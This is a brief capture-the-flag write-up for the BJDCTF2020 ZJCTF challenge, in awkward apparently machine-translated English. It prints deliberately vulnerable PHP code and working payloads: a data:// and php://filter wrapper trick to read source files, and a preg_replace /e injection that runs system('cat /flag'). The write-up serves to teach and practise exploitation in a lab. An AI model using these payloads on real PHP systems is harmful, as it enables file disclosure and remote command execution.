[BJDCTF2020] ZJCTF, but so

Subject to the Source

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

Bypass restrictions first with php: // input or the pseudo-protocol data reading pseudo-protocol I have a dream, then read next.php filter with pseudo-protocol

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

Get next.php source

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

preg_replace presence / e command execution vulnerability looked at this article to explain

Payload structure

?\S*=${getFlag()}&cmd=system('cat /flag');